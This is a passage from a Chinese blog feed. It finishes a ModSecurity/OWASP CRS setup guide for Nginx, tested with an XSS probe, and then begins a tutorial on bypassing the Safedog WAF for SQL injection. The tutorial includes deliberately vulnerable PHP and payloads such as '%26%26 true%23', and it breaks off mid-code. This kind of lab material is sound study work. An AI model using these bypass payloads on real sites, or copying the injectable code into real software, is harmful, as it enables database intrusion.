&apos;s/# SecDefaultAction &quot;phase:2,log,auditlog,deny,status:403&quot;/SecDefaultAction &quot;phase:2,log,auditlog,deny,status:403&quot;/g&apos; crs-setup.conf</span><br></pre></td></tr></table></figure><p>默认ModSecurity不会阻挡恶意连接，只会记录在Log里。修改SecDefaultAction选项，默认开启阻挡。</p><h3 id="启用ModSecurity模块和CRS规则"><a href="#启用ModSecurity模块和CRS规则" class="headerlink" title="启用ModSecurity模块和CRS规则"></a>启用ModSecurity模块和CRS规则</h3><p>复制ModSecurity源码目录下的modsecurity.conf-recommended和unicode.mapping到Nginx的conf目录下，并将modsecurity.conf-recommended重新命名为modsecurity.conf。</p><p>modsecurity.conf-recommended是ModSecurity工作的主配置文件。默认情况下，它带有.recommended扩展名。要初始化ModSecurity，我们就要重命名此文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost owasp-modsecurity-crs]# cd /opt/modsecurity-2.9.1/</span><br><span class="line">[root@localhost modsecurity-2.9.1]# cp modsecurity.conf-recommended /usr/local/nginx/conf/modsecurity.conf</span><br><span class="line">[root@localhost modsecurity-2.9.1]# cp unicode.mapping /usr/local/nginx/conf/</span><br></pre></td></tr></table></figure><p>将SecRuleEngine设置为On，默认值为DetectOnly即为观察模式，建议大家在安装时先默认使用这个模式，规则测试完成后在设置为On，避免出现对网站、服务器某些不可知的影响。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# vim /usr/local/nginx/conf/modsecurity.conf</span><br><span class="line">SecRuleEngine On</span><br></pre></td></tr></table></figure><p>ModSecurity中几个常用配置说明：</p><blockquote><p>1.SecRuleEngine：是否接受来自ModSecurity-CRS目录下的所有规则的安全规则引擎。因此，我们可以根据需求设置不同的规则。要设置不同的规则有以下几种。SecRuleEngine On：将在服务器上激活ModSecurity防火墙，它会检测并阻止该服务器上的任何恶意攻击。SecRuleEngine Detection Only：如果设置这个规则它只会检测到所有的攻击，并根据攻击产生错误，但它不会在服务器上阻止任何东西。SecRuleEngine Off:这将在服务器上上停用ModSecurity的防火墙。</p><p>2.SecRequestBodyAccess：它会告诉ModSecurity是否会检查请求，它起着非常重要的作用。它只有两个参数ON或OFF。</p><p>3.SecResponseBodyAccess：如果此参数设置为ON，然后ModeSecurity可以分析服务器响应，并做适当处理。它也有只有两个参数ON和Off，我们可以根据求要进行设置。</p><p>4.SecDataDir：定义ModSecurity的工作目录，该目录将作为ModSecurity的临时目录使用。</p></blockquote><p>在<code>owasp-modsecurity-crs/rules</code>下有很多定义好的规则，将需要启用的规则用Include指令添加进来就可以了。</p><ul><li><p>3.x版本CRS</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ cd /usr/local/nginx/conf/owasp-modsecurity-crs</span><br><span class="line"># 生成例外排除请求的配置文件</span><br><span class="line">$ cp rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf</span><br><span class="line">$ cp rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf</span><br><span class="line">$ cp rules/*.data /usr/local/nginx/conf</span><br></pre></td></tr></table></figure><p>为了保持modsecurity.conf简洁，这里新建一个modsec_includes.conf文件,内容为需要启用的规则。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/local/nginx/conf/modsec_includes.conf</span><br><span class="line"></span><br><span class="line">include modsecurity.conf</span><br><span class="line">include owasp-modsecurity-crs/crs-setup.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-901-INITIALIZATION.conf</span><br><span class="line">Include owasp-modsecurity-crs/rules/REQUEST-903.9002-WORDPRESS-EXCLUSION-RULES.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-905-COMMON-EXCEPTIONS.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-910-IP-REPUTATION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-912-DOS-PROTECTION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-950-DATA-LEAKAGES.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-951-DATA-LEAKAGES-SQL.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-952-DATA-LEAKAGES-JAVA.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-953-DATA-LEAKAGES-PHP.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-954-DATA-LEAKAGES-IIS.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf</span><br><span class="line">include owasp-modsecurity-crs/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf</span><br></pre></td></tr></table></figure></li></ul><p>注：考虑到可能对主机性能上的损耗，可以根据实际需求加入对应的漏洞的防护规则即可。</p><h2 id="配置Nginx支持Modsecurity"><a href="#配置Nginx支持Modsecurity" class="headerlink" title="配置Nginx支持Modsecurity"></a>配置Nginx支持Modsecurity</h2><h3 id="启用Modsecurity"><a href="#启用Modsecurity" class="headerlink" title="启用Modsecurity"></a>启用Modsecurity</h3><ul><li>使用静态模块加载的配置方法</li></ul><p>在需要启用Modsecurity的主机的location下面加入下面两行即可：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# vim /usr/local/nginx/conf/nginx.conf</span><br><span class="line"> server &#123;</span><br><span class="line">        listen       80;</span><br><span class="line">        server_name  localhost;</span><br><span class="line"></span><br><span class="line">        location / &#123;</span><br><span class="line">        #加入下面两行内容</span><br><span class="line">            ModSecurityEnabled on;    </span><br><span class="line">            ModSecurityConfig modsec_includes.conf;</span><br><span class="line">            root   html;</span><br><span class="line">            index  index.html index.htm;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><ul><li><p>使用动态模块加载的配置方法</p><p>在需要启用Modsecurity的主机的location下面加入下面两行即可：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# vim /usr/local/nginx/conf/nginx.conf</span><br><span class="line">server &#123;</span><br><span class="line">        listen       80;</span><br><span class="line">        server_name  localhost;</span><br><span class="line"></span><br><span class="line">        location / &#123;</span><br><span class="line">        #加入下面两行内容</span><br><span class="line">            modsecurity on;</span><br><span class="line">modsecurity_rules_file modsec_includes.conf;</span><br><span class="line">            root   html;</span><br><span class="line">            index  index.html index.htm;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><h3 id="验证Nginx配置文件"><a href="#验证Nginx配置文件" class="headerlink" title="验证Nginx配置文件"></a>验证Nginx配置文件</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# /usr/local/nginx/sbin/nginx -t</span><br><span class="line">nginx: [emerg] ModSecurityConfig in /usr/local/nginx/conf/nginx.conf:45: Cannot open config file: /usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf</span><br><span class="line">nginx: configuration file /usr/local/nginx/conf/nginx.conf test failed</span><br></pre></td></tr></table></figure><p>发现没有REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf文件,然后去其目录发现存在着REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf,所以将其修改名称即可,再次测试,发现RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf也是没有的,使用相同的方法修改</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost modsecurity-2.9.1]# cd /usr/local/nginx/conf/owasp-modsecurity-crs/rules/</span><br><span class="line"></span><br><span class="line">[root@localhost rules]# cp REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf</span><br><span class="line"></span><br><span class="line">[root@localhost rules]# cp RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf</span><br></pre></td></tr></table></figure><p>最后测试成功</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost rules]# /usr/local/nginx/sbin/nginx -t</span><br><span class="line">nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok</span><br><span class="line">nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful</span><br></pre></td></tr></table></figure><ul><li><p>启动Nginx</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost rules]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf</span><br></pre></td></tr></table></figure><h3 id="测试Modsecurity"><a href="#测试Modsecurity" class="headerlink" title="测试Modsecurity"></a>测试Modsecurity</h3><p>正常访问时ok的</p><p><img src="https://ae01.alicdn.com/kf/HTB1CZqkXoT1gK0jSZFr763NCXXaF.png" alt=""></p></li></ul></li></ul><p>那么我们尝试构造一些注入参数进去试试</p><p><img src="https://ae01.alicdn.com/kf/HTB1IZSkXoY1gK0jSZFM761WcVXa6.png" alt=""></p><p><img src="https://ae01.alicdn.com/kf/HTB1x9CjXfb2gK0jSZK9761EgFXa4.png" alt=""></p><p>其日志保存在<code>/var/log/modsec_audit.log</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost log]# tail -n 20  modsec_audit.log </span><br><span class="line">Connection: keep-alive</span><br><span class="line"></span><br><span class="line">--9621e831-H--</span><br><span class="line">Message: Warning. Pattern match &quot;^[\\d.:]+$&quot; at REQUEST_HEADERS:Host. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;682&quot;] [id &quot;920350&quot;] [msg &quot;Host header is a numeric IP address&quot;] [data &quot;192.168.204.129&quot;] [severity &quot;WARNING&quot;] [ver &quot;OWASP_CRS/3.1.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;]</span><br><span class="line">Message: Warning. detected XSS using libinjection. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;58&quot;] [id &quot;941100&quot;] [msg &quot;XSS Attack Detected via libinjection&quot;] [data &quot;Matched Data: XSS data found within ARGS:search: &lt;script&gt;alert(/xss/)&lt;/scrity&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.1.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;]</span><br><span class="line">Message: Warning. Pattern match &quot;(?i)[&lt;\xef\xbc\x9c]script[^&gt;\xef\xbc\x9e]*[&gt;\xef\xbc\x9e][\\s\\S]*?&quot; at ARGS:search. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;88&quot;] [id &quot;941110&quot;] [msg &quot;XSS Filter - Category 1: Script Tag Vector&quot;] [data &quot;Matched Data: &lt;script&gt; found within ARGS:search: &lt;script&gt;alert(/xss/)&lt;/scrity&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.1.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;]</span><br><span class="line">Message: Warning. Pattern match &quot;(?i)&lt;[^\\w&lt;&gt;]*(?:[^&lt;&gt;\&quot;&apos;\\s]*:)?[^\\w&lt;&gt;]*(?:\\W*?s\\W*?c\\W*?r\\W*?i\\W*?p\\W*?t|\\W*?f\\W*?o\\W*?r\\W*?m|\\W*?s\\W*?t\\W*?y\\W*?l\\W*?e|\\W*?s\\W*?v\\W*?g|\\W*?m\\W*?a\\W*?r\\W*?q\\W*?u\\W*?e\\W*?e|(?:\\W*?l\\W*?i\\W*?n\\W*?k|\\W*?o\\W*?b\\W*?j\\W*?e\ ...&quot; at ARGS:search. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;207&quot;] [id &quot;941160&quot;] [msg &quot;NoScript XSS InjectionChecker: HTML Injection&quot;] [data &quot;Matched Data: &lt;script found within ARGS:search: &lt;script&gt;alert(/xss/)&lt;/scrity&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.1.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;]</span><br><span class="line">Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 18)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;]</span><br><span class="line">Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/local/nginx/conf/owasp-modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 18 - SQLI=0,XSS=15,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 18, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;]</span><br><span class="line">Message: Audit log: Failed to lock global mutex: Permission denied</span><br><span class="line">Action: Intercepted (phase 2)</span><br><span class="line">Apache-Handler: IIS</span><br><span class="line">Stopwatch: 1562335360000217 222381 (- - -)</span><br><span class="line">Stopwatch2: 1562335360000217 222381; combined=3851, p1=333, p2=3340, p3=0, p4=0, p5=178, sr=8, sw=0, l=0, gc=0</span><br><span class="line">Producer: ModSecurity for nginx (STABLE)/2.9.1 (http://www.modsecurity.org/); OWASP_CRS/3.1.0.</span><br><span class="line">Server: ModSecurity Standalone</span><br><span class="line">Engine-Mode: &quot;ENABLED&quot;</span><br><span class="line"></span><br><span class="line">--9621e831-Z--</span><br></pre></td></tr></table></figure><p>可以查看到其匹配了REQUEST-920-PROTOCOL-ENFORCEMENT.conf和REQUEST-941-APPLICATION-ATTACK-XSS.conf文件中的规则.</p><h2 id="参考文档"><a href="#参考文档" class="headerlink" title="参考文档:"></a>参考文档:</h2><p><a href="https://www.hi-linux.com/posts/45920.html" target="_blank" rel="noopener">https://www.hi-linux.com/posts/45920.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="开源waf" scheme="https://louisnie.github.io/tags/%E5%BC%80%E6%BA%90waf/"/>
    
  </entry>
  
  <entry>
    <title>绕waf系列之绕安全狗</title>
    <link href="https://louisnie.github.io/2019/07/04/%E7%BB%95%E5%AE%89%E5%85%A8%E7%8B%97/"/>
    <id>https://louisnie.github.io/2019/07/04/绕安全狗/</id>
    <published>2019-07-03T16:56:28.000Z</published>
    <updated>2019-07-03T17:06:10.908Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">从来不需要想起，永远也不会忘记。</blockquote><p><div class="aplayer" data-id="22854159" data-server="netease" data-type="song" data-mode="single"></div></p><h2 id="攻击的特定"><a href="#攻击的特定" class="headerlink" title="攻击的特定:"></a>攻击的特定:</h2><p>攻击二象性:已知攻击和未知攻击</p><h2 id="目前市面主流的WAF产品"><a href="#目前市面主流的WAF产品" class="headerlink" title="目前市面主流的WAF产品:"></a>目前市面主流的WAF产品:</h2><h3 id="云WAF"><a href="#云WAF" class="headerlink" title="云WAF"></a>云WAF</h3><ul><li>​    阿里云盾</li><li>​    腾讯网站管家</li><li>​    创宇盾</li><li>​    ClodeFlare等</li></ul><h3 id="软件产品类"><a href="#软件产品类" class="headerlink" title="软件产品类"></a>软件产品类</h3><ul><li>安全狗</li><li>云锁</li><li>360主机卫士</li><li>ModSecurity</li></ul><h3 id="硬件类型设备"><a href="#硬件类型设备" class="headerlink" title="硬件类型设备:"></a>硬件类型设备:</h3><ul><li><p>启明星辰</p></li><li><p>​    绿盟</p></li><li><p>​    天融信</p></li><li><p>​    飞塔等</p></li></ul><p>硬件waf缺陷:对HTTP协议的兼容性不强,对异常报文会产生bug,导致绕过</p><h2 id="WAF的核心原理"><a href="#WAF的核心原理" class="headerlink" title="WAF的核心原理:"></a>WAF的核心原理:</h2><ul><li><p>运用黑白思想</p></li><li><p>特征匹配,漏洞签名:特定特征的漏洞,比如stract2漏洞</p></li><li><p>对匹配结果进行响应(拦截,记录)</p></li></ul><h2 id="WAF的几种部署模式"><a href="#WAF的几种部署模式" class="headerlink" title="WAF的几种部署模式"></a>WAF的几种部署模式</h2><h3 id="基于DNS解析"><a href="#基于DNS解析" class="headerlink" title="基于DNS解析"></a>基于DNS解析</h3><p>修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的web服务器</p><p><img src="https://ae01.alicdn.com/kf/HTB1Wry1eWSs3KVjSZPi763siVXaZ.png" alt=""></p><h3 id="串联模式"><a href="#串联模式" class="headerlink" title="串联模式"></a>串联模式</h3><p>一般指的是反向代理模式,透明代理模式.反向代理模式会改变原有的网络拓扑,真实客户端ip会以HTTP header传递给后端web server.透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署.</p><h3 id=""><a href="#" class="headerlink" title=""></a><img src="https://ae01.alicdn.com/kf/HTB1Jg1Te.GF3KVjSZFv762_nXXaF.png" alt=""></h3><p><img src="https://ae01.alicdn.com/kf/HTB1uK5Re2WG3KVjSZFP760aiXXa3.png" alt=""></p><h3 id="旁路模式"><a href="#旁路模式" class="headerlink" title="旁路模式"></a>旁路模式</h3><p>利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务稳定性,所以WAF会投入更多的性能在检出率上面.但是缺点也很明显,不借助其他手段无法对检测出的攻击行为进行阻断.</p><p><img src="https://ae01.alicdn.com/kf/HTB1Wqm1e8Cw3KVjSZR0762cUpXa1.png" alt=""></p><h3 id="软件嵌入中间件-检测引擎模式"><a href="#软件嵌入中间件-检测引擎模式" class="headerlink" title="软件嵌入中间件+检测引擎模式"></a>软件嵌入中间件+检测引擎模式</h3><p>在使用nginx作为反向代理的业务中,WAF提高nginx模块嵌入原有nginx,将请求转发给检测引擎,可以做到在不改动原有的网络拓扑的情况下完成检测任务</p><p><img src="https://ae01.alicdn.com/kf/HTB1A7WSe81D3KVjSZFy762uFpXaW.png" alt=""></p><h2 id="WAF为什么会被绕过"><a href="#WAF为什么会被绕过" class="headerlink" title="WAF为什么会被绕过:"></a>WAF为什么会被绕过:</h2><p>1.鱼(安全)和熊掌(业务性能)不能兼得,waf需要满足基本业务需求,所以一般不设置白名单之类的过于苛刻的操作</p><p>2.WAF为了考虑通用性的问题,无法100%覆盖某些语言,中间件,数据库等特性</p><p>3.硬件WAF自身往往存在漏洞</p><p><img src="https://ae01.alicdn.com/kf/HTB1yleSe81D3KVjSZFy762uFpXaV.png" alt=""></p><ul><li><p>架构:waf部署模式</p></li><li><p>规则缺陷/特性</p></li><li><p>协议:指HTTP0.9协议:TCP长连接</p></li></ul><h2 id="WAF绕过实战—-绕过安全狗进行注入"><a href="#WAF绕过实战—-绕过安全狗进行注入" class="headerlink" title="WAF绕过实战—-绕过安全狗进行注入"></a>WAF绕过实战—-绕过安全狗进行注入</h2><p>所谓的bypass waf实际上是去寻找位于waf设备之后处理应用层数据包的硬件/软件的特性,利用特性构造waf不能命中,但是在应用程序能够执行成功的payload,绕过防护</p><h3 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境:"></a>实验环境:</h3><p>环境:安全狗Apache最新版(<a href="http://download.safedog.cn/download/software/safedogwzApache.exe)+phpstudy+windows系统" target="_blank" rel="noopener">http://download.safedog.cn/download/software/safedogwzApache.exe)+phpstudy+windows系统</a></p><p><img src="https://ae01.alicdn.com/kf/HTB1mnaRe2WG3KVjSZFPq6xaiXXaI.jpg" alt=""></p><p>本地测试代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$id = $_GET[&apos;id&apos;];</span><br><span class="line">$con = mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;root&quot;);</span><br><span class="line">if (!$con)&#123;die(&apos;Could not connect: &apos; . mysql_error());&#125;</span><br><span class="line">mysql_select_db(&quot;dvwa&quot;, $con);</span><br><span class="line">$query = &quot;SELECT first_name,last_name FROM users WHERE user_id = &apos;$id&apos;; &quot;;</span><br><span class="line">$result = mysql_query($query)or die(&apos;&lt;pre&gt;&apos;.mysql_error().&apos;&lt;/pre&gt;&apos;);</span><br><span class="line">while($row = mysql_fetch_array($result))</span><br><span class="line">&#123; </span><br><span class="line">echo $row[&apos;0&apos;] . &quot;&amp;nbsp&quot; . $row[&apos;1&apos;]; </span><br><span class="line">echo &quot;&lt;br /&gt;&quot;;&#125;echo &quot;&lt;br/&gt;&quot;;echo $query;</span><br><span class="line">mysql_close($con);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><h3 id="绕过拦截and-1-1"><a href="#绕过拦截and-1-1" class="headerlink" title="绕过拦截and 1=1"></a>绕过拦截and 1=1</h3><p>首先先稍微测试一番,发现存在安全狗</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1  and 1=1%23</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1nHmWe9WD3KVjSZSgq6ACxVXav.jpg" alt=""></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">and  1拦截</span><br><span class="line">and  &apos;1&apos;    拦截  </span><br><span class="line">and  a不拦截 </span><br><span class="line">and  &apos;a&apos;    拦截  </span><br><span class="line">and  !不拦截 </span><br><span class="line">and  1+1    拦截  </span><br><span class="line">and  1+a    拦截  </span><br><span class="line">and  hex(1)  不拦截</span><br></pre></td></tr></table></figure><p>通过测试我们发现当 and 后面跟上 数字型和字符型时他会给我们拦截掉 ，其实我们在安全狗的规则里面可以看到他拦截 and 和 or 所以我们有2个思路</p><ul><li>用其他字符替换 and 或者 or</li><li>带入的不是字符串和数字型，带入一个特殊符号</li></ul><p>针对第一种我们可以去看看运算符号 随便找到几个| ^ xor &amp; / * &amp;&amp; || 等等还有很多</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">与运算 a &amp; b  , </span><br><span class="line">或运算 a | b ,  </span><br><span class="line">异或运算 a ^ b</span><br></pre></td></tr></table></figure><p>那么可以试着将and替换成&amp;&amp;,URL编码得到%26%26,将1=1替换成true或者false,发现可以成功绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/test.php?id=1&apos; %26%26 true%23</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1SdWTe8OD3KVjSZFFq6An9pXaH.jpg" alt=""></p><p>另外在分享一些可以绕过目前版本的安全狗测试payload,(注:mysql支持&amp;&amp;  || ,oracle不支持 &amp;&amp; ||）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span 